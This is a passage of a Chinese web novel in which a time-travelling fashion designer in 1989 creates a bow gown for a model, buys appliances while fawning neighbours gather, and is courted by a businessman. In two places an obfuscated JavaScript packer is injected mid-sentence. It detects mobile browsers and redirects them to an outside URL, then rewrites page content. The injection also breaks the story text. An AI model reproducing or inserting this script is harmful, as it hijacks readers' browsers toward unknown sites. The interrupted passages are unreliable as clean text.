“别瞎说，都是邻居，哪来的隔夜仇？”赵春燕将两只手胡乱一摆，转头呲个大牙对水非仙讨好地笑起来：“小水啊，你看，你都这个岁数了，也是该好好找个对象了，就是你不找，那也得顾及顾及小莲不是？小莲总要有爸爸，单亲家庭长大，到底是对孩子不好。你看，我弟弟你也认识，条件呢也不错，你们也算是对欢喜冤家，你看要是可以，我约出来，你俩坐坐？” 小莲从自行车后座探个头出来，瞪着眼前的赵春燕：“我才不需要什么爸爸！你弟弟根本配不上我妈妈，你弟弟长得像只大猩猩！” “你这孩子！”赵春燕袖子一挽就要上去争论。 “小莲说得没有错！你弟弟根本配不上水姐姐！”自从白英在莲仙工作越来越得力，白大哥和王姐给她也配了辆顶配自行车，每天上下班，白英都跟着水非仙母女一起，甚至很多水非仙在忙的时候，都是白英去接小莲。 小莲现在越来越开朗，店里的每一个人都喜欢她。白英今天出来得晚了些，落在水非仙母女身后，谁知刚骑进院子里，就见到那赵春燕大言不惭地挽着袖子想去找小莲的麻烦。 白英到底是身手灵活，她从自行车上敏捷地跳下来，推一把往小莲这边走的赵春燕，上前将小莲护在身后。 那赵春燕看到水非仙看着自己的眼神冷冷的，那眼神虽然没有一丝感情，可不知为何，水非仙一个小姑娘，此刻自己竟然不敢正视她的双眼。而那白英，更是如同水非仙的马仔一样，看起来同样不好惹。 这白英不听话，叛逆的性格在家属院里那都是出了名的，谁知如今竟被这水非仙收得服服帖帖，赵春燕自认在这院子里战斗力不算弱，可对上白英到底还是落了下风。这白英按照赵春来的说法，跟着水非仙干了也才两三个月，如今自己竟是有种不敢惹她的感觉。这怎么能行？连阎王的左右手都摆不平，那怎么和正主掰手腕？又怎么拿下水非仙。 想到这里，赵春燕眼睛一眯，指着白英的鼻子就骂道：“你这没大没小的东西，学校教你礼貌都教到狗肚子里了！长辈说话，你插什么嘴，还过来推我一把，有你这么对待长辈的？” 在赵春燕的设想里，水非仙会替白英向自己道歉，白英是个年轻姑娘，沉不住气，听到自己这番话，必然会生气到失态，那便坐实了自己的说法。 谁知水非仙听到这话，泰然坐在自行车上，没有挪动的意思，她双眼玩味地看着白英，似乎在期待着白英接下来的表现。而那白英，也没有如同自己想得一般失态，那白英从上到下细细打量一圈赵春燕，就像在清点垃圾一样。 “呦，瞧你这话说得，你还知道你是长辈呢？做长辈的你不呵护晚辈，还满嘴脏的跟那垃圾道似的，俗话说尊老爱幼，你都不爱幼，我尊什么老？满院子的活人，你是不就觉得自己最聪明，谁心里没本账？我有，水姐姐也有，你赵春燕当时见我水姐姐好欺负，蹬鼻子上脸的小人行径别说我水姐姐，全院子的人都记得一清二楚。如今你不过是看我水姐姐赚到不少钱，有点地位了，又想来占便宜，这天底下没有这样的好事。” 听到白英的话，周围的人已经开始坐不住，逐渐议论起来。他们对于白英回怼赵春燕的话没有一点兴趣，可……她说水非仙如今发家了是怎么回事？难道，这家属院真要飞出个凤凰？ 白英心里暗道一声糟糕，她忘记院子里的人还不知道呢。她一脸愧疚地望向水非仙，水非仙无所谓地对她摇摇头，表示不用介意。 这才哪到哪，迟早是会瞒不住的。水非仙从车上下来，微笑对院子里的众人开口：“各位邻居们，我在城中开了家女装店，叫莲仙。从前也是害怕邻居们为了支持我而破费，一直没有同大家说。赚得不算多，勉强温饱。感谢大家的关心。” 说罢，带着白英和小莲直接往前走，头也不回，完全不理会赵春燕在后面一个劲儿跟院子里众人解释的声音。水非仙打从内心里不喜欢这家属院的人，从头到尾她在赵春燕那里受气时，帮助她的不过只有王姐一家而已。她可没有那种发家致富以后带着所有乡里乡亲共同富裕的助人情结，这世界上需要帮助的人多了去了，与其帮这些爱传八卦自私冷漠的人，她还有很多更好的选择。 比如说今天，水非仙最近忙了好一段时间。主要有两件事，这第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这第二件事，今天有一位姓叶的姑娘找到自己，她要去粤省参加首届国内举办的模特大赛，虽然一共只有20名选手参加比赛，她仍然想要为自己挑一件独一无二的战袍，去参加比赛。水非仙知道，叶小姐和这场比赛意味着什么，时装设计师和模特往往都是互相成就的，一年多了，总算她也等到自己的缪斯，只是她没想到会是一位在未来华国时尚圈里跺跺脚震三震的人物。 这样大的馅饼，水非仙没有不接的道理，她匆匆接下这位姑娘的定制，便提前闭店回家加班设计，自然没有工夫去理会赵春燕这样的小插曲。在水非仙从前生活的时空里，为叶小姐量身打造战袍的人另有大师在，谁知现在这好处居然落在自己的头上。若是做好这件作品，最晚不超过明年年底，莲仙便会一飞冲天，就连这大院，都能跟它彻底说再见了。 回到家后的水非仙回到卧室，拿起纸笔就开始画蝴蝶。水非仙问了叶小姐，对方说自己喜欢蝴蝶结。 蝴蝶结啊蝴蝶结，说它是时代的眼泪都不为过，90年代左右的礼服上，繁复的蝴蝶结、夸张的荷叶边比比皆是，这年代看起来确实好看，但这样用不好就傻白甜或是影楼风的元素让后世过来的水非仙头疼不已，又怎么能融入进去献上一样的设计。说起来，这样的潮流，还要感谢一个人，那便是罗兰先生，感谢ysl对蝴蝶结锲而不舍地迷恋。想到这里，水非仙轻笑出声。 好久没进群聊了，似乎在自己抛弃高定路线后，就没什么时间再进去和前辈们交流了。这么想着，水非仙闭眼进入群聊。 进去以后看到的一切，让水非仙几乎无语，这群聊还真是，每次来都有新惊喜。 55.力量 水非仙再回到群聊，往日打过招呼就立刻有人回应的群里，今天却一反常态，没有一个人搭理自己。水非仙再次打字相问，片刻后，才有人回复。 X：水小姐，他们都不在。此刻的他们恐怕都没有闲暇时间来查看群聊消息。 水非仙：这是为什么？发生了什么事吗？ X：是这样的…… 原来，同处一个群聊中的卡尔和伊夫，再加上群聊中的两人都回到了比较好的身体状态，起初碍着群里有别人，还会装作井水不犯河水的样子，日子倒也过得平静。终于在某一天，克里斯汀跟朗万前辈商量起来，自己的红包怎么用的时候。这两位死对头再也忍不住，先是卡尔阴阳怪气地加入讨论，终于勾得伊夫加入战场。 这两位时尚界的传奇人物，在群里聊对骂了三天三夜，分不出个胜负。事实上也不算分不出胜负，实际上的情况是毒舌老佛爷单方面碾压内向大男孩伊夫。可伊夫绝对不会承认自己落于下风，尤其是败给这位昔日的情敌，于是他屡骂屡败还要迎难而上，似乎在弥补生前他们并没有这样酣畅淋漓对骂机会的遗憾一般。 水非仙：……这也要争个输赢吗…… 自从加入这个群聊，前世对偶像的滤镜真是开始一点点地破碎。就说他俩这样跟养老院里俩谁也不服谁的怪老头有什么区别…… X：总而言之，拉克鲁瓦前辈认为自己没有资格劝说他俩，朗万前辈忙着给女儿们做漂亮衣服，懒得管他俩，偶尔劝两句没人听就算了。后来两位前辈发现只是吵架并不能分出个高低胜负，拉格斐先生便提议去他的空间里，两人拿出自己最得意的系列，重新设计，好好比试一场，又邀请了其他两位前辈过去做评委。水小姐你若是想找他们，可以向上翻群聊的聊天记录，选择也接通拉格斐先生的来电就可以去他的空间寻找他们了。 水非仙：谢谢，X先生要同我一起去看看吗？想来十分精彩。 X：感谢水小姐的邀请，只是我此刻还有别的事务缠身，恐怕过去不太方便。 水非仙了然，她打字输入：X先生上次就拒绝了红包，想来是什么也不缺。这次我准备了些路上买的好吃的，应该是x先生平时吃不到的，尤其是家属院门口卖的包子，X先生可以尝尝。说完，将食物塞入红包，给X发过去，对方倒是也没拒绝。 发完红包的水非仙向上滑动群聊记录，找到拉格斐先生发出的通话邀请，点进去后一阵白光经过眼前，她便来到拉格斐先生的空间内。 卡尔的空间并没有设置在别的地方，正是在卡尔拉格斐创造过许多传奇的巴黎大皇宫。此刻空旷的大皇宫秀场摆放着四把椅子，四位前辈认认真真看着眼前规模迷你的微型秀。其中，拉克鲁瓦还拿着纸笔，不停地记着笔记。 两位正在展示成品的模特，正是朗万女士两个被拉来充数当模特的女儿们。左边的姑娘优雅知性，一看就是出自拉格斐前辈之手。右边的姑娘浪漫炙热，充斥着浓浓的圣罗兰风格。两位姑娘就像一白一红两朵玫瑰，不相上下，各有千秋。 水非仙忍不住鼓掌，四人回过头去。 “快过来，小水。”有别于卡尔的高冷，伊夫的优雅以及拉克鲁瓦的谦和有礼，朗万女士就像一位热心的长者，总是会下意识地操心自己疼爱的姑娘们，这一点和白秀云有些相像。 “又遇到困难了？不妨同我们讲讲？”朗万女士揽过水非仙的肩膀，拉着她在身旁坐下来，旁边的伊夫和克里斯汀也投过来关心的眼光，就连卡尔也是，虽然面上不显，但也明显将注意力放在水非仙这里，在认真听着。 水非仙讲出这一次自己遇到的问题，伊夫听着有些不解：“蝴蝶结并不是什么难以驾驭的元素，所以水你在怕什么？以你的能力，按理来说不该有问题。” 水非仙叹口气：“罗兰先生，我这次来，就是想要麻烦你的。驾驭蝴蝶结，你是个中好手，但我会担心，蝴蝶结是绑在礼物上的，如果我用夸张的蝴蝶结，会不会有一种将女性视为礼物，物化女性的错觉？” 听到这里，伊夫明白困住水非仙的是什么，他摇摇头，用那双深邃的眼睛透过眼镜望向水非仙，认真说道：“水，你记住对于每个女孩来说，她们自己的风格，比她穿什么衣服要重要的多。或许你对蝴蝶结有所误解，它可不是什么礼物上的装饰，不是什么洋娃娃身上女性化的标志，相反地，蝴蝶结亦是盔甲。” 水非仙不解：“盔甲？” “对，蝴蝶结是女性的盔甲。”罗兰伸手扶扶眼镜，继续开口：“蝴蝶结最早可是反战标志啊，当时的姑娘们就将它佩戴在帽子上用以表达反战思想。我可是见过，七十年代的姑娘们上衣领口佩戴蝴蝶结，那可是用来追求职场平权的一种手段。蝴蝶结从来就不是什么柔弱的象征，更不是什么刻板印象中的金发女郎专属。就像女性，本身就有着强大的力量，可以美丽，却从来就不是什么弱势群体。” 原来，竟是这样…… 罗兰前辈的话在水非仙的内心掀起不小的冲击，被她自己压抑着的灵感此刻如火山爆发，急需宣泄。 伊夫淡淡一笑，明白看好的后辈已经有了想法，解决掉了问题，他装作不经意地开口：“水，你看一下眼前这两套定制，哪一件更加技高一筹？” 听到罗兰前辈的话，以及眼角瞥见拉格斐前辈坐直的身体，水非仙眉头一跳，快速退出通话，回到群聊界面，匆匆留下一句：抱歉，罗兰前辈，你刚刚是不是说了什么，我这灵感不等人，先撤了。 开玩笑，虽然说跑得这么快有几分过河拆桥的意思，可这两位谁想得罪谁去得罪好吗？水非仙自认还没有为这两位分出个高低胜负的能力，将困难留给朗万前辈和拉克鲁瓦前辈就好。 刚从群聊系统回来的水非仙，感觉到自己的精气神都得到一定 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“整条裙子，主体部分就像在表达蝴蝶女王那璀璨而夺目的内心，袖子部分又像她的骄傲与她的盔甲，我好喜欢，它有名字吗？”如同水非仙想象中的一样，叶小姐看到这条裙子也十分喜欢。 “有，它叫轮回。” “轮回？这名字看上去和这条美丽的裙子没有任何关系啊？”叶小姐不解。 水非仙看向面前的叶小姐，认真解释：“女性的力量，从未缺席过历史。每一代女性，都有自己的使命，哪怕是飞蛾扑火，都在所不惜。有位前辈告诉我，蝴蝶结并不柔弱，它是盔甲，就如同女性自身一样。叶小姐，我希望女性的力量和这份向上拼搏的劲头如同轮回一般，薪火相传生生不息。你说蝴蝶女王，没错，每一位努力生活，面朝阳光的女孩子，都是蝴蝶女王。” 水非仙的话，此刻如同刀刻般印在叶小姐的心里。她点点头，回答水非仙：“好，你我共勉。我会赢的，为世代轮回赢得最好的结局。” 叶小姐当天就带着轮回前往粤省，不到一个月，地方的报纸上便传来叶小姐荣获全国第一的好消息，而公众对这次比赛的关注度，远超人们的想象。一时之间，叶小姐竟成不逊于香港顶级女明星的当红名人，无数演艺公司向她抛出橄榄枝，都被她拒绝掉了。 她说：“我要继续做模特，然后攒钱，成立第一家模特公司，我们华国也该有自己的面孔登上世界的舞台了。”随着话音落下，叶小姐的名字红遍大江南北，她美丽又自信的样子一时之间成为女生们模仿的对象，当然和她的名字一起红透半边天的，还有莲仙这家店的名字。这将莲仙的知名度再次推上一个新的高峰。 89年年末，几大行牵头，专门批贷解决三角债遗留问题。大环境有所缓和，许多后世知名企业趁此时机起家。在这样的背景下，1989年圣诞节，高歌的百货公司，正式营业。 56.购物 商场开业，高歌什么也没多做，既没有华丽炫目的舞台，也没有紧张刺激的活动。他只在自己的东亚百货公司门前，摆放一株两层楼高，挂满霓虹灯的圣诞树。圣诞树的周围还摆放着塑料制成的圣诞礼物。 这样繁华的地段加上这棵引人前来驻足拍照的圣诞树，一下就将人气加成直接叠满。于是在开业的这天，东亚百货公司门口人头攒动，百货公司开门的那一刻，人潮涌入东亚百货公司内部。 门口站着一排礼仪小姐，身着旗袍，温柔喊着欢迎光临，百货公司内部还有保安队时刻巡逻。商场天花板位置更是配着玻璃顶，增加采光，还有Y市人见也没见过的全自动扶梯。这扶梯，高歌还用了小心思，每层上楼的扶梯设置在东北角，下楼的扶梯安排在西南角，如果想要下楼，得穿过一整层的柜台和货架才能达到下楼的目的。而你在经过那么多家摊位和柜台的时候，很难不被吸引多买些东西。 拉满的服务体验，漂亮的大商场以及应有尽有的百货商品，给Y市人民带来不小的震撼。“水小姐对莲仙的位置可还满意？”高歌带着水非仙，从顶层望着位于三楼的楼梯口占地面积最大的莲仙摊位。 早在两个月前，水非仙就攒到足够的钱，将莲仙的门店买下来，两个月内，水非仙手中还攒了不少钱，如今收入已经算是稳定在每个月五万左右。现在看高歌的商场这样的人流量，恐怕这边的收入会比莲仙总店还要高，一个月十几万的净收入，放在这个年代，称得上一句可怕。 “你都把电梯口的位置给我了，还能有不满意的？高歌先生才是，商场这么大的流量，恐怕要不了多久，就会成为零售行业的龙头吧？”水非仙恭维着，她牵着的小莲早已看花了眼，这里看看，那里瞧瞧，激动极了。 还好，白英提前培训好了来这边的售货人员，这么大的阵仗哪里是新人能应付来的，水非仙看着三楼莲仙里人满为患，甚至有人在推搡前面的人引得两方几乎要争执起来的场景，还好莲仙的工作人员及时上前维持秩序。新店开业，哪怕莲仙的人气在全国来说都有一定的知名度，该做好的时候也得做到最好才行，口碑难得。水非仙看着每一位买完莲仙衣服的人都能收到一朵水仙干花，这才想起来那干花的正主还在身边。 “抱歉，高先生，忘记跟你商量了。这水仙花还是你送的，我用来作为新店的特色，还请你不要介意。”水非仙道歉。 高歌绅士地微笑：“花送给你，本就是你的，水小姐，我无权干涉。而且，我送的花，若是能对你有所助益，也会令我开心。何况……水小姐在东亚百货的店生意火爆，对我来说，也是有好处的。” 水非仙点点头，她就猜到高歌会这么说。“可惜，陈玲今天来不了，从前她最爱凑热闹了，现在一心扑在事业上，天天晚上都加班。过段时间我们一起聚一聚吧，下个月就过年了。去年的圣诞节，还是一起过的，真是世事无常。” 看着水非仙说起陈玲有些担忧的样子，高歌赶紧开口转移话题：“水小姐可别忘了，还欠我两年的饭菜呢。前段时间我忙得脚不沾地，可就是为了尽快开业，能有时间以这个为借口，多待在水小姐身边。” “这么直接？”水非仙挑眉看着高歌，这话有点像李秋实会说的，却不像高歌平素的风格。 “水小姐向来直接不是吗？食材我已经买好了，就在我的后车厢里，刚开业中午我会有些忙走不开，今晚开始就得多加打扰了。” 水非仙点头，没有异议。她低头看向小莲，小莲并不在乎这两人说了什么，她只将小脑袋抵在楼梯的扶手边，静静看着一楼正在播放着电视剧的电视机，这时已经有彩电了，小莲看着那电视机连眼睛都移不开。 水非仙这才意识到自己来到这个世界以后，似乎还没有送女儿过礼物，她牵起女儿的手，对高歌说道：“我要到一楼给我们小莲买台电视机，高先生要一起来吗？” “若是我抢着付钱，你会不会不高兴？觉得欠了我人情？”高歌想想，开口问道。 “是的，我会因为无缘无故欠了你人情而不高兴的，高先生。人情债可比欠钱要付出的代价更大。” “那你们先去，我也有些东西要去买，待会儿去找你们。”说完，高歌目送着母女二人离开，也转身走向另一边的柜台。 高歌离开后，小莲看着拉着自己离开的妈妈：“妈妈，真的要买电视机吗？那很贵，听同学说要好几千……我刚才看电视机的样子是不是被你看到了？” 水非仙微笑着，才过去一年，女儿感觉不出来变化也是正常。她揉揉女儿的头，柔声说着：“还记得吗？妈妈说过，会给你最好的一切，要去买东西了，怎么还这样数着指头过日子？不需要。” 在女儿不信任的眼神中，水非仙直接带着女儿来到一楼最大的那家日立电器。她进门就问售货员：“你这里，最大的彩电在哪？” 售货员一听，笑容更加灿烂：“最大的彩电是这款今年新出的，29英寸的彩电，就是价格比较贵，商场搞促销也要五千块。” 水非仙根本不犹豫，直接爽快道：“那就要这台了，写单子，我去付款。包上门安装吗？”小莲一听，瞪大了眼睛，牢牢握住妈妈的手，水非仙笃定的语气对小莲幼小的心灵造成不小的冲击。我家……居然不穷的吗？ 那售货员小姐，头点得跟拨浪鼓一样：“包的包的，现在就能上门！” 水非仙看着女儿震惊的神情，只觉得有点好笑，她又问售货员：“你们这里最好的冰箱和洗衣机在哪，也给我一起填了吧，我都要。麻烦帮我一起上门安装好。” 那售货员连忙介绍：“洗衣机最好是这台，苹果绿色的，双筒洗衣机，还带烘干功能，五百块。冰箱是这台，也是苹果绿色的新款，容量大，一千块，噪音比起从前的型号来说，没那么大了。” 水非仙说：“那全部包起来吧。” 这话一出， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151844|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕是人流量非常高的日立电器店内，大家都纷纷驻足好奇回头打量，三件加起来可是六千五百块的高价，这年代万元户都是很了不得了，而这看上去年纪不大的姑娘，竟然一出手就是六千多块，这可是普通人好几年的工资。 水非仙也不理旁人羡慕的眼光，她只低头笑着问女儿：“小莲，高不高兴，家里突然多了这几个大家伙，你喜欢吗？” 小莲重重点头：“嗯！”她恍然想起一年多前，自己和妈妈在院子里受气的样子，那个赵春燕就是以为她们好欺负，这下带着电器回家的时候，她要刻意在赵春燕面前晃一晃，替妈妈出这口气。“妈妈，我们赶紧回家吧，一起看电视！” 水非仙听到女儿的话，去收银处付款后，拿好盖过章的单子，给店里的员工留下地址，店里的人就找到安装工人，开出一辆货车，从库房拉出新的电器，先开车到起重机家属院门口等母女二人。 水非仙正要带着迫不及待的小莲回家，就听到有人唤她们。“水小姐，等等。” 转头一看，是高歌，高歌的手里还提着好几个购物袋。 “总算赶上了。”高歌上前，将手中的东西递给小莲。“给，这是高叔叔送你的礼物。” 小莲看向母亲，水非仙点点头，小莲就打开袋子查看。里面装着不少珍贵的玩具。有这个时代昂贵无比的典藏版芭比娃娃两只，华丽的音乐盒，甚至还有一台小电子琴。小莲看完这些东西，抬头望向自己的母亲，眼底充满着渴望。 水非仙无奈点头，对女儿说道：“收下吧。”又看向面前一脸得意地高歌：“打蛇打七寸，高老板，这招厉害，送礼都送得让人拒绝不了，只是，讨好小莲是真的没必要，毕竟我想，我们只会是一辈子的好朋友。” 高歌只微笑，也不回答水非仙，反而是说：“快回去吧，我看到你买了不少电器。食材你不用担心，我买了很多，应有尽有。晚上我再去蹭饭。” 为还人情说好来蹭饭，结果人家还自带食材，这样的便宜实在没有拒绝的必要。水非仙也不再跟他掰扯，带着女儿骑车回家去。 刚到家属院门口，就看到装着自家电器的拉货车旁，院子里的邻居们围了一堆。见是水非仙回来后，领着工作人员往院子里搬，就开始纷纷议论，也有不少人趁机上前讨好。 “呦，小水，这么大的电视机啊！我家十几英寸的黑白电视机就要大几百，刚听这小伙子说，你买的是彩电啊！” 水非仙点头回应着这位自己根本没记住的邻居。 “嚯，小水你现在是真有出息，这么大的彩色电视，我们都只在电视广告里见过。改天让我们上你家看看吧？姐给你带鸡蛋！” 水非仙还没来得及说什么，那赵春燕先围上来，掐着腰说：“走开！都走开！好好的电视机，你们围在这里，磕着碰着怎么办！”这可是自己未来弟媳新买的电视机，四舍五入就是她的电视机，可不能让这群土老帽看坏了！ 57.态度转变 家属院的街坊邻里一直围着装电器的工人，跟着水非仙回到家里看着工人们把电器都装好，还不愿意散去，一个个高兴得好像是装在自己家里一样。待送走工人，水非仙礼貌起身询问街坊：“不知道各位邻居还有什么事吗？” 赵春燕听这话往人前一站，掐着腰开始打发在场众人：“去去去，家里装电器，都围过来干什么？小水不要休息的吗？你们这些外人就别没眼色了。”俨然一副主人翁的样子。 水非仙走过来对邻居们说：“都是街坊邻居，我可没什么要赶人的意思。只是我女儿陪我在百货商场逛了一个上午，今天怕是累了，平时还是欢迎大家常常来往的，所谓远亲不如近邻嘛。” 赵春燕吸一口气，挤出一个满脸褶皱的笑容就要开口。水非仙抢先一步对她说：“只是这赵春燕赵姐，我们就没什么必要来往了。一来我们两家交情本来就不好，撕破脸的事全院子都是知道的，我这人懒，懒得装。二来咱们身上还有赌约，别相处得久了到时候不好意思兑现那就不好了，还是离得远些吧！” “哎，小水你这话怎么说的，我……”赵春燕正要上前解释一番，又被街坊邻里们拦下来。 “人家小水说得在情在理，你赵春燕的为人我们院子里谁不知道？人家孤儿寡母的，你就别逮着人一家子欺负了。”邻里们拦着赵春燕，又对水非仙热情笑道：“放心，有我们看着呢，不会再让她来打扰你们，就让小莲好好休息，啊！”说完就将门带上，赶着赵春燕走了。 水非仙陪着小莲将电视机打开，小莲开心极了，双眼牢牢地盯着电视屏幕，看到高兴的时候又扑在水非仙的怀里撒娇。 没一会儿有人敲门，水非仙开门，是一位老妇人，她笑呵呵地将手中的苹果塞进水非仙的怀里：“小水啊，我是住在四楼，就是你家楼下的张家婆婆。家中多了些苹果，带来给你吃。哎，小莲正在看电视啊，一段时间没见，小莲越长越好看了，像你。”水非仙刚要说什么，那张婆婆怕水非仙不收下苹果，连忙摆摆手就要走：“得了，别送了啊，苹果还回来，我可是要生气的。邻里之间的，互帮互助应该的。”说完就跑了。 水非仙无奈将苹果收下，门关上没一会儿，又有人敲门。水非仙再次开门，门外站着一位年轻男子：“小水啊，我是住在一楼的，我和原来老艾，还是同事呢，这是家里多出来的鸡蛋，我看你新买了冰箱，你们留下吃，啊。”说完又将门一关，怕水非仙不收下，快速离开。 整个下午竟有十几家邻居都来敲门送东西，水非仙无奈只能将东西收下清点，想着往后多做了吃食后，再给这些人家挨家挨户送去。刚清点完物品的水非仙听到正在看电视的小莲说：“从前咱们家落魄被人欺负的时候，他们都看在眼里，从没见来拜访，那时候只有白英姐姐一家来给我们送东西。妈妈，人心真的能因为我们买了几件电器，就变化这么大吗？” 水非仙笑笑，走到女儿身边坐下，撑着脑袋好整以暇地看着女儿说道：“穷在闹市无人问，富在深山有远亲。人情冷暖，向来如此。那么我们小莲，怎么看呢？会因此不开心，或者感觉到一些消极的情绪吗？” 小莲想想，摇摇头，坚定地告诉妈妈：“妈妈，这或许不是坏事。我想，你自身有利用价值时，他们只是想给自己多一条后路，才来与你结交，不一定就全都不是真心，人情和人心是在一次次你来我往之间，才能建立的。若身处高位，只享受别人的巴结，而不付出，或是让交际处于不对等的关系，那人情消磨几次也就没有了，相反，若能良好地处理，再落魄时，昔日巴结你的人，未尝不会施以援手。而贫穷时，如果无人问，也不用感觉到心灰意冷，那不过是对周围的人做一次筛选罢了，并非真心诚意的，留着也没用，还不如乐得清静，享受独处呢。所以我认为啊，这句话并没有任何消极的情绪，也不是说有钱就好，没钱就不好。妈妈你说是吗？” 水非仙温柔地抚摸着小莲的小脑袋：“那你现在明白他们从前为什么不管我们了吗？” 小莲点点头：“知道了，我们也没帮过他们。不能因为我们困难，就要求人家一定要施以援手。所以，我们现在用平常心对待他们就好了，对吗妈妈？” 水非仙轻轻搂住女儿，没作回答，女儿看待世界的方式没有问题，她就不会多加干涉。她只轻轻吻下女儿的小额头，柔声说道：“我们小莲，真是小太阳。”一年的时间，本就体贴的女儿成长了好多，现在说话，已经像个小大人了。 母女正在家里享受温情时刻的同时，被赶在楼下的赵春燕一肚子气，无处发泄。她掐着腰站在院子里，以一敌百，和院中众人对骂着。实际上，也并不算对骂，是她一个人在撒泼，没人管她。 “啊，你们现在一个个装得跟孙子似的，还什么孤儿寡母看着可怜，从前人家真可怜的时候你们管了吗？现在倒是跑来多管闲事了。”赵春燕正站在院子中间骂着，就见一辆黑色自己不认识牌子的轿车，停在家属院门口。从车上走下来一位高大帅气，穿着打扮一看就很贵，看着像港城电影里的钻石王老五的男子从车上走下来，手里还拿着两个大大的红色气球，以及各种大包小包的食材。 赵春燕心里咯噔一跳，这院里众人她是熟知的，除了水非仙，谁家也不可能有这样的人物来访。可对方是个年轻男子，别不是和水非仙之间有什么？若真有事，她那弟弟岂不是要叫眼前这人比下去，那水非仙这么有钱的弟媳妇，自己又怎么样才能找到第二个。 赵春燕暗道不好，眼珠一转，故作姿态地迎上去开口：“哎呀，这年轻人，来我们家属院，是来找人的？是小水她们家亲戚。” 高歌提着东西，礼貌冲赵春燕点点 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“我之所以穿这身，开这车。都是为了，追求水小姐。水小姐美貌、能干，我喜欢她想追求她，很正常。只要能让她开心，哪怕不会的，我都能学，我做事，付出实际行动，绝不毁人名誉。只可惜，她眼里还没我，但我不会放弃。这点，你那弟弟，做得到吗？如果他也可以，就让他来跟我比一比，如果不行，就别耽误我时间，给我让开。”说完，高歌再也不理解赵春燕，快步向前，进入水非仙家中所在单元楼道。 徒留那赵春燕，心理承受巨大冲击，她指着高歌离去的方向，半天才能嘟囔出一句话来：“这什么人啊！当保姆勾引主家的事说得理直气壮的！要不要脸啊！” 高歌抵达水非仙家中时，水非仙挑眉看着对方将大包小包的东西归置整齐，出声问道：“这就是你说的，没钱吃饭？” 高歌忍住笑意，勾着嘴角厚脸皮道：“恩，这就是我说的，没钱吃饭。”水非仙忍不住在心里为高歌鼓掌，怪不得人家和李秋实是好兄弟呢，从前的正经，原来都是装的。 小莲倒是对高歌的到来并不排斥，相反她和高歌本就熟识，更不用说上午高歌还在百货商场给她买那么大一包玩具。而且就此刻这俩最大尺寸的红色气球来说，在小莲心目中的含金量都价值不菲。这年代，没有小孩子能抗拒街头骑着自行车卖气球的老爷爷，更别说，高歌直接把人家最大的两个买来，都给了小莲。此刻，小莲就是高歌最大的支持者。 水非仙看向正抱着气球摩擦头发玩静电的小莲，无奈吐槽高歌：“你还真是，会抓主要矛盾，”高歌温柔笑着，将水非仙请去沙发上坐着，陪小莲玩，并表示今天这饭，将由他自己下厨。 很好，他来蹭饭，结果食材他买，饭也是他来做，这饭算是给他蹭明白了。水非仙这么想着，注意力却时不时放在厨房里，她真担心，这么一位港城大少爷，按理来说饮食起居从小都有人照顾，该不会把厨房给自己烧了吧？ 58.并肩而行 事实证明，水非仙的担心完全是多余的。四十分钟后，三人围坐在餐桌前，桌上摆着高歌刚做好的四菜一汤，菜式还都是水非仙上次在度假村时，多吃的那几道。 整个用餐过程，让不知道人看到，都会以为高歌是这个家里的贤夫良父，关心完大的又关心小的，偏他自己还乐得忙碌。等到三人用过晚饭后，又袖扣一拆，袖口一挽，哼着歌进去厨房里洗碗洗盘子，轻车熟路，动作自然到诡异。 等到一切都被高歌整整齐齐地收拾妥当，窗外天色已渐暗。水非仙叮嘱好小莲一个人在家不要给别人开门，就准备出门送送高歌。 二人一前一后，沉默无言走出家属院，水非仙提议：“先别开车了，我们就这么走走吧。” 朗朗月色下，水非仙带着高歌，漫无目的地行走在路上。在高歌的眼中，先他一步的水非仙被温柔的月色镶嵌了条银白色的边。此刻的他，眼中看不见绝美的月色，也看不见脚下的六便士，他只能看到前路，那条水非仙带领着他前进的路。 在自己狂乱的心跳声中，高歌听到水非仙开口：“高先生，你没必要为我做到这种程度的。作为好友，我想提醒你，在我身上下这么多的功夫，纯属白费力气，就不要这般浪费自己的心意了吧。” “我可以问一句，为什么吗？” 水非仙放慢脚步，看向远方，似乎在怀念着过去：“高先生啊，人活一辈子，会经历很多感情，爱情、友情、亲情。这些感情每一项虽说都很重要，可你知道吗？亲情是我渴望了很多年的东西。或许你想象不到，在很久很久以前，我曾无数次盼望，可以拥有一个家庭，可以拥有亲人，哪怕不幸福，我也想有个家。我等了很久很久，才等来小莲，我知道继父对一个性格敏感的姑娘来说意味着什么，哪怕你做得再好，有你加入，她都会担心从此不再是我心里的第一位。更何况，高少爷你的家族，想要容纳我们母女也不容易，我想你自己也不能保证小莲会不会从中受伤。所以，无论你做再多，我不会允许，你走进我的心，我不会同意，你加入这个家，你明白吗？” 高歌静静听着水非仙的话，没有打断，也没有急着否认，只是将她的话，牢牢地刻在心里。 水非仙接着说：“灰姑娘嫁入豪门的故事在现实中存在的可能性太低了。且不提两边家庭的巨大悬殊，就我们两个人从小生活环境的差异，现实生活中处事的风格，包括婚后的一地鸡毛，种种因素都预示着童话般的爱情，现实中不会存在的，如今的你喜欢的只不过是你想象中的我。有那么多例子，都能证明这一点，婚姻这座坟墓，并肩而行都无比吃力，更别说是需要我来仰望你。高先生，你真的觉得梁山伯与祝英台也好，罗密欧与朱丽叶也好，他们若是活下来，生活在一起，还会幸福吗？” 高歌一直等水非仙说完，他没有回答水非仙的提问，只是开口给她讲起来另一个故事：“水小姐，我想，你有一点误会了。我并不是什么高家少爷，如你所见，我会做饭，我没那么会处理人情世故，这都是真正的高家少爷身上不会出现的。我，其实是高家庶子，说难听点，不过就是个私生子罢了。” 水非仙有些意外地回头看向高歌，恐怕知道这件事的人也不多。 